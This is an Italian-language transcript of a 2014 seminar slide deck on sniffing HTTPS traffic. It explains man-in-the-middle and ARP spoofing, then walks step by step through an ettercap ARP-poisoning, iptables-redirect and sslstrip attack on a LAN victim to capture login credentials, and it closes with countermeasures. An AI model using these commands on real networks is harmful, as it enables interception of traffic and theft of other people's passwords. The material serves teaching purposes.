Sniffing del traffico HTTPS con Ettercap e SSL Strip
-
Upload
mattia-reggiani -
Category
Internet
-
view
26.894 -
download
3
description
Transcript of Sniffing del traffico HTTPS con Ettercap e SSL Strip
Sniffing del traffico HTTPS con Ettercap e SSL Strip
Mattia Reggiani
http://filibusta.crema.unimi.it/Mercoledì 21 Maggio
1/1621/05/2014
Di cosa parlerò
Cenni teorici: Man In The Middle, ARP Spoofing
Un caso reale: sniffing di credenziali utilizzando SSL Strip ed Ettercap all’interno di una LAN, con i siti HTTPS
2/1621/05/2014
Man In The Middle
Alice TrudyBob
• Alice e Bob devono comunicare
• Trudy finge di essere Alice (con Bob) e Bob (con Alice)
• Alice invia il messaggio a Trudy, pensando che sia Bob
• Trudy inoltra il messaggio a Bob
• Bob risponde a Trudy, pensando che sia Alice
• Trudy è in grado di leggere e manipolare i messaggi
3/1621/05/2014
ARP Spoofing (1)
• Per comunicare in una rete locale, serve l’indirizzo MAC dell’host
• ARP (Address Resolution Protocol): numero MAC da un numero IP
• Ogni host mantiene una cache ARP, che contiene una tabella con le associazioni
IP – MAC già note
• Altrimenti si fa una richiesta in broadcast (a tutti i nodi), chiedendo chi ha un
certo indirizzo IP
4/1621/05/2014
ARP Spoofing (2)
• ARP cache poisoning:
1. Chi ha l’indirizzo ip 192.168.178.25 ?
2. Sono io: 00:50:FC:A0:67:2C
3. Le comunicazioni dirette a 192.168.178.25 vanno a chi riceve i frame
destinati a 00:50:FC:A0:67:2C
5/1621/05/2014
Caso reale: strumenti• Ettercap (ARP Spoofing)
• Open source, scritto in C da sviluppatori italiani, multipiattaforma
• Command-line / GUI
• MITM: ARP poisoning, ICMP redirect, DHCP spoofing …
• Plug-in: dns_spoof, dos_attack, find_ettercap, smurf_attack …
• SSLStrip (Sniffing)
• MITM tool scritto in Python
• Sostituisce le richieste HTTPS in HTTP
Client SSL Strip Server
6/1621/05/2014
Caso reale: infrastruttura di rete
AttaccanteOS: Kali LinuxIP: 192.168.178.28/24
VittimaOS: Windows VistaIP: 192.168.178.25/24
Gateway / Router192.168.178.1/24 Web Server
https://twitter.com
Internet
7/1621/05/2014
Step by step1. MITM con Ettercap
2. Abilitare l’ ip forward
3. Settare le regole iptables (firewall)
4. Sniffing con SSL Strip
5. Ottenere Username e Password
8/1621/05/2014
1. MITM con Ettercap
root@kali:~# ettercap -T -q -i eth0 -M arp:remote /192.168.178.25/ /192.168.178.1/
-T versione testuale
-q non mostrare il contenuto dei pacchetti
-i interfaccia di rete in uso
-M tipo di attacco MITM
/192.168.178.25/ indirizzo IP della vittima
/192.168.178.1/ indirizzo IP del gateway
9/1621/05/2014
2. Abilitare l’ ip forward
root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward
Configurare il computer in modalità forwarding, in modo da inoltrare il traffico di
rete da un’interfaccia ad un’ altra
10/1621/05/2014
3. Settare le regole iptables(firewall)
root@kali:~# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 10000
-t tabella a da utilizzare-A catena di regole-p protocollo--dport porta destinazione della connessione-j destinazione per la regola--to-port porta destinazione del reindirizzamento
Impostare il firewall in maniera di reindirizzare i pacchetti HTTP verso SSLStrip(1) ed evitare che il client generi traffico HTTPS (2)
root@kali:~# iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 10000
(1)
(2)
11/1621/05/2014
4. Sniffing con SSL Strip
-l porta da cui sniffare il traffico HTTP/HTTPS
root@kali:~# sslstrip -l 10000
Normale (SSL)
Stripped (no SSL)
12/1621/05/2014
5. Ottenere Username e Password
root@kali:~# cat sslstrip.log
Username: mattia_reggianiPassword: MyPaSsWoRd
13/1621/05/2014
Contromisure
• HTTPS only (server)
• Assicurarsi di utilizzare in modo sicuro le connessioni (SSL)
• Fare attenzione all’ URL degli indirizzi web
• Tabella ARP statica
14/1621/05/2014
Riferimenti
• Ettercap:
• https://github.com/Ettercap/ettercap
• http://ettercap.sourceforge.net
• SSL Strip: http://www.thoughtcrime.org/software/sslstrip/
• Kali Linux: http://www.kali.org/
• Iptables: http://www.netfilter.org/
15/1621/05/2014
Q&A
E-mail [email protected] @mattia_reggianiLinkedin http://www.linkedin.com/in/mattiareggianiSkype mattia_reggianiFacebook https://www.facebook.com/mreggiani90
16/1621/05/2014